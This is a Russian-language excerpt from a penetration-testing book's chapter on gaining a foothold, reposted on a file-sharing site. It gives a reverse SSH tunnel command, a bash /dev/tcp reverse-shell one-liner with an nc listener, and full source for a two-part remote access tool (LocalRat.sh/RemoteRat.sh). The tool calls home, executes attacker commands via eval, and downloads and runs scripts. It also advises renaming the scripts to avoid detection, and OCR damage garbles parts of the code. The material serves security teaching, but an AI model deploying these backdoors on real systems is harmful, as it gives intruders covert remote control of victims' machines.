Файл: Paul Troncone and Carl AlbingCybersecurity Ops with bashAttack, Defend, and Analyze from the.pdf
ВУЗ: Не указан
Категория: Не указан
Дисциплина: Не указана
Добавлен: 12.01.2024
Просмотров: 467
Скачиваний: 1
ВНИМАНИЕ! Если данный файл нарушает Ваши авторские права, то обязательно сообщите нам.
СОДЕРЖАНИЕ
Глава 16. Создание точки опоры 235
Рис. 16.2. Обратное SSH-соединение
Настройка.обратного.SSH-соединения.в.целевой.системе:
ssh -R 12345:localhost:22 user@remoteipaddress
Опция.
-R
.включает.переадресацию.удаленных.портов..Первое.число,.
12345
,.указывает.
номер.порта,.который.удаленная.система.(злоумышленник).будет.использовать.для.
обратного.SSH-соединения.с.целевой.системой..Аргумент.
localhost:22
.определяет.но- мер.порта,.который.целевая.система.будет.прослушивать,.чтобы.получить.соединение.
Это,.по.сути,.создает.исходящее.соединение.от.целевой.системы.к.серверу.SSH,.
что.позволит.злоумышленнику.создать.обратное.SSH-соединение.с.целевой.си- стемой..Создав.такое.SSH-соединение.(от.сервера.к.клиенту),.злоумышленник.
сможет.удаленно.выполнять.команды.в.целевой.системе..Поскольку.подключение.
было.инициировано.целевым.объектом,.оно,.скорее.всего,.не.будет.ограничиваться.
правилами.брандмауэра,.находящегося.в.сети.целевого.объекта,.поскольку.пра- вила.фильтрации.исходящего.трафика.обычно.не.настолько.строгие,.как.правила.
фильтрации.входящего.трафика.
Чтобы.создать.обратное.SSH-соединение.с.атакующей.системой.после.подключе- ния.к.цели,.можно.написать.следующее:
ssh localhost -p 12345
Обратите.внимание:.чтобы.завершить.подключение.к.целевой.системе,.вам.нужно.
будет.предоставить.учетные.данные.для.входа.
Бэкдор bash
Основная.функция.инструмента.удаленного.доступа.—.создание.сетевого.подклю- чения..Как.показано.в.главе.10,.bash.позволяет.создавать.сетевые.подключения.с.по- мощью.специальных.обработчиков.файлов.
/dev/tcp
.и.
/dev/udp
..Эту.возможность.
также.можно.использовать.для.настройки.удаленного.доступа.в.целевой.системе:
/bin/bash -i < /dev/tcp/192.168.10.5/8080 1>&0 2>&0
236 Часть III • Тестирование на проникновение
Хотя.это.только.одна.строка,.здесь.много.чего.происходит,.поэтому.давайте.с.этим.
разберемся.
/bin/bash -i
Данная.строка.вызывает.новый.экземпляр.bash.и.запускает.его.в.интерактивном.
режиме.
< /dev/tcp/192.168.10.5/8080
Это.создает.TCP-соединение.с.системой.злоумышленника.по.адресу.
192.168.10.5
,.
порт.
8080
.и.перенаправляет.его.в.качестве.ввода.в.новый.экземпляр.bash..Замените.
здесь.IP-адрес.и.порт.IP-адресом.и.портом.системы.злоумышленника.
1>&0 2>&0
Здесь.происходит.перенаправление.стандартного.вывода.(stdout).(файловый.де- скриптор.1).и.стандартного.потока.ошибок.(stderr).(дескриптор.2).в.стандартный.
ввод.(stdin).(дескриптор.файла.0)..В.этом.случае.stdin.сопоставляется.с.только.что.
созданным.TCP-соединением.
Важен порядок перенаправления. Сначала нужно открыть сокет, а затем пере- направить файловые дескрипторы для использования сокета.
В.системе.злоумышленника.необходимо.иметь.список.портов.сервера,.через.кото- рые.можно.установить.соединение.с.целью..Для.этого.вы.можете.использовать.
nc
:
$ nc -l -v -p 8080
listening on [any] 8080
Убедитесь,.что.вы.установили.прослушиватель.
nc
.на.тот.же.номер.порта,.который.
планируете.указать.из.бэкдора..При.подключении.бэкдора.может.показаться,.что.
прослушиватель.
nc
.закончил.работу,.так.как.вы.видите.приглашение.оболочки..
На.самом.деле.
nc
.остается.открытым,.и,.кроме.этого,.создается.новая.оболочка..
Все.команды,.введенные.в.эту.новую.оболочку,.будут.выполняться.в.удаленной.
системе.
Однострочный бэкдор bash прост в обращении и не выполняет никакого ши- фрования сетевого подключения. Сетевые защитники или другие программы, наблюдающие за соединением, смогут прочитать его как обычный текст.
Глава 16. Создание точки опоры
1 ... 15 16 17 18 19 20 21 22 23
237
Пользовательский инструмент удаленного доступа
Несмотря.на.эффективность.однострочного.бэкдора,.вы.можете.создать.инструмент.
с.более.гибкими.настройками,.используя.полный.сценарий.bash..Ниже.приведены.
требования.к.такому.сценарию.
Инструмент.должен.подключаться.к.указанному.серверу.и.порту.
Инструмент.получит.команду.от.сервера,.выполнит.ее.в.локальной.системе.
и.выведет.все.результаты.обратно.на.сервер.
Инструмент.будет.выполнять.сценарии,.отправленные.ему.с.сервера.
Инструмент.закроет.сетевое.соединение,.когда.получит.от.сервера.команду.
quit
На.рис..16.3.показано.взаимодействие.между.средствами.удаленного.доступа.
в.системе.злоумышленника.(функция.
LocalRat.sh
).и.инструментом.удаленного.
доступа.в.целевой.системе.(функция.
RemoteRat.sh
).
Рис. 16.3. Логика инструмента удаленного доступа
Реализация..Этот.инструмент.состоит.из.двух.сценариев..Сначала.в.собственной.
системе.злоумышленника.выполняется.сценарий.
LocalRat.sh
..Он.прослушивает.
соединение,.созданное.вторым.сценарием,.
RemoteRat.sh
,.выполняемым.в.целевой.
системе..Сценарий.
RemoteRat.sh
.через.сокет.TCP.открывает.соединение.с.локаль- ной.атакующей.системой.
Что.происходит.дальше?.Прослушиватель.
nc
,.запущенный.в.атакующей.системе,.
получит.от.сокета.соединение.и.предоставит.удаленное.управление.атакующей.
системе..Вывод.из.оболочки.bash,.запущенной.в.скомпрометированной.системе,.
238 Часть III • Тестирование на проникновение начиная.с.приглашения.ввода,.появится.на.экране.атакующей.системы..Любой.
текст,.набранный.на.клавиатуре.в.атакующей.системе,.через.TCP-соединение.
передается.программе,.запущенной.во.взломанной.системе,.то.есть.bash..Поэтому.
злоумышленник.может.вводить.любые.допустимые.команды.bash,.и.они.будут.вы- полняться.в.скомпрометированной.системе,.а.полученные.результаты.(и.сообще- ния.об.ошибках).будут.передаваться.атакующей.системе..Это.удаленная.оболочка,.
которая.вызывается.в.обратном.порядке.
Давайте.более.подробно.рассмотрим.операторы,.используемые.для.создания.такой.
пары.сценариев..В.примере.16.1.не.только.создается.прослушиватель,.но.и.ожида- ется.обратный.вызов.целевой.системы.
Чтобы избежать обнаружения во время реального теста на проникновение, вы, скорее всего, захотите присвоить этим сценариям более универсальные имена.
Пример 16.1. LocalRat.sh
#!/bin/bash -
#
# Bash и кибербезопасность
# LocalRat.sh
#
# Описание:
# Инструмент удаленного доступа для локальной системы,
# прослушивает соединение с удаленной системой
# и помогает с любой запрошенной передачей файла
#
# Использование: LocalRat.sh port1 [port2 [port3]]
#
#
# определяем наш демон фоновой передачи файлов function bgfilexfer ()
{
while true do
FN=$(nc -nlvvp $HOMEPORT2 2>>/tmp/x2.err)
if [[ $FN == 'exit' ]] ; then exit ; fi nc -nlp $HOMEPORT3 < $FN
done
}
# -------------------- main ---------------------
HOMEPORT=$1
HOMEPORT2=${2:-$((HOMEPORT+1))}
HOMEPORT3=${3:-$((HOMEPORT2+1))}
Глава 16. Создание точки опоры 239
# инициируем демон фоновой передачи файлов bgfilexfer &
# прослушиваем входящее соединение nc -nlvp $HOMEPORT
Сценарий.
LocalRat.sh
.является.пассивной.или.реагирующей.на.события.стороной.
пары.сценариев.—.он.ожидает.ответа.от.сценария.
RemoteRat.sh
,.а.затем.реагирует.
на.них..Сценарии.должны.общаться.через.одни.и.те.же.порты,.поэтому.номера,.
указанные.в.командной.строке,.в.этих.сценариях.должны.совпадать.
Что.же.делает.сценарий.
LocalRat.sh
?.Вот.некоторые.ключевые.моменты.
.Сценарий.начинается.с.запуска.в.фоновом.режиме.демона.передачи.файлов.
.Здесь.сценарий.ожидает.входящее.соединение.от.удаленного.скрипта..Использова- ние.команды.
nc
.имеет.ключевое.значение,.потому.что.сетевой.файловый.дескрип- тор.bash.(
/dev/tcp
).не.может.самостоятельно.создать.TCP-соединение.
.Наша.функция.передачи.файлов.также.начинается.с.прослушивания,.но.слуша- ется.второй.номер.порта..Нам.нужно.получить.от.этого.сокета.имя.файла.
.Еще.одно.обращение.к.
nc
.—.на.этот.раз.для.отправки.файла,.запрошенного.в.пре- дыдущем.сообщении..Это.сетевая.команда.
cat
.—.вопрос.предоставления.файла.
в.качестве.ввода.для.команды,.подключенной.к.порту.номер.три.
Сценарий.в.примере.16.2.устанавливает.TCP-соединение.с.удаленной.(целевой).
системой.
Пример 16.2. RemoteRat.sh
#!/bin/bash -
#
# Bash и кибербезопасность
# RemoteRat.sh
#
# Описание:
# Инструмент удаленного доступа для запуска в удаленной системе;
# в основном передает любые входные данные в оболочку,
# но если указан !, извлекает и запускает сценарий
#
# Использование: RemoteRat.sh hostname port1 [port2 [port3]]
#
function cleanup ()
{
rm -f $TMPFL
}
240 Часть III • Тестирование на проникновение function runScript ()
{
# передаем, какой сценарий нам нужен echo "$1" > /dev/tcp/${HOMEHOST}/${HOMEPORT2}
# останов sleep 1
if [[ $1 == 'exit' ]] ; then exit ; fi cat > $TMPFL
bash $TMPFL
}
# ------------------- MAIN -------------------
# здесь может быть выполнена проверка некоторых ошибок
HOMEHOST=$1
HOMEPORT=$2
HOMEPORT2=${3:-$((HOMEPORT+1))}
HOMEPORT3=${4:-$((HOMEPORT2+1))}
TMPFL="/tmp/$$.sh"
trap cleanup EXIT
# звонок домой:
exec &0 2>&0
while true do echo -n '$ '
read -r
if [[ ${REPLY:0:1} == '!' ]]
then
# это сценарий
FN=${REPLY:1}
runScript $FN
else
# обычный случай — запустить cmd eval "$REPLY"
fi done
.Это.перенаправление.мы.встречали.раньше,.при.подключении.к.TCP-сокету.
stdin,.stdout.и.stderr..Обратное.подключение.к.
LocalRat.sh
.осуществляет.команда.
сценария.
nc
,.ожидающая.это.соединение..Что.здесь.может.показаться.странным,.
так.это.встроенная.команда.
exec
..Она.обычно.используется.для.запуска.вместо.
оболочки.другой.программы..Если.команда.не.предоставляется.(как.в.данном.слу- чае),.просто.устанавливаются.все.перенаправления.и.выполнение.продолжается.
с.новыми.соединениями.ввода-вывода..С.этого.момента.всякий.раз,.когда.сценарий.
записывает.в.stdout.или.stderr,.запись.будет.производиться.в.TCP-сокет;.чтение.из.
stdin.будет.поступать.из.сокета.
Глава 16. Создание точки опоры 241
.Первый.бит.вывода.представляет.собой.строку.в.виде.приглашения.ввода,.чтобы.
пользователь.в.удаленной.системе.знал,.как.начать.ввод..Параметр.
-n
.не.учитывает.
символ.новой.строки,.поэтому.это.выглядит.как.приглашение.ввода.
.Оператор.
read
.считывает.входные.данные.пользователя.(через.TCP-сокет)..
Параметр.
-r
.указывает.
read
.обрабатывать.обратный.слеш.как.обычный.символ..
При.чтении.строки,.содержащей.обратный.слеш,.никакая.специальная.интерпре- тация.не.выполняется.
.Если.первым.символом.ответа.пользователя.является.восклицательный.знак.
(он.же.bang),.то.(согласно.нашему.проекту).клиент.просит.загрузить.сценарий.
.Эта.подстрока,.начиная.с.индекса.1.и.до.конца.строки,.является.ответом.без.
восклицательного.знака..Мы.могли.бы.встроить.ответ.в.строку.вызова.функции.
runScript
.и.выполнять.два.отдельных.шага.
.В.этой.строке.находится.«сердце».сценария..Клиент.отправил.строку.через.TCP- сокет,.который.считывает.этот.сценарий..Для.выполнения.команд.следует.в.этой.
строке.запустить.команду.
eval
..Если.злоумышленник.отправил.команду.
ls
,.она.
будет.запущена.и.ее.вывод.возвратится.злоумышленнику.
Мы запускаем команды внутри этого сценария так, если бы они были его частью.
На сценарий могут повлиять любые изменения переменных, вносимые этими командами. Возможно, лучше иметь отдельный экземпляр оболочки, в которую мы будем передавать команды. Но здесь мы использовали более простой подход.
.Когда.происходит.запрос.запуска.сценария,.вызывается.функция.
runScript и.ее.первым.действием.становится.отправка.имени.сценария.обратно.в.систему.
злоумышленника.(где.будет.находиться.сценарий)..Перенаправление.stdout.уста- навливает.соединение.через.порт.номер.два.
.Задача.
sleep
.—.дать.время.для.передачи.данных.в.другую.систему.и.предоста- вить.этой.системе.время.для.реакции.и.ответа..Возможно,.если.передача.данных.
по.сети.происходит.очень.медленно,.потребуется.увеличить.значение.
sleep
,.опре- деляющее.продолжительность.сна.
.Если.на.другом.конце.все.прошло.хорошо,.данное.соединение.—.перенаправле- ние.stdin.—.позволяет.подключиться.к.системе.атакующего.и.содержимое.запро- шенного.сценария.становится.доступным.для.чтения.из.stdin..Мы.сохраняем.вывод.
во.временном.файле.
.Теперь,.когда.у.нас.есть.файл,.мы.можем.его.выполнить.с.помощью.bash..Куда.на- правляется.его.вывод?.Помните.перенаправление,.которое.мы.сделали.с.опера- тором.
exec
?.Поскольку.при.вызове.
bash
$TMP
FILE
.мы.ничего.не.перенаправляем,.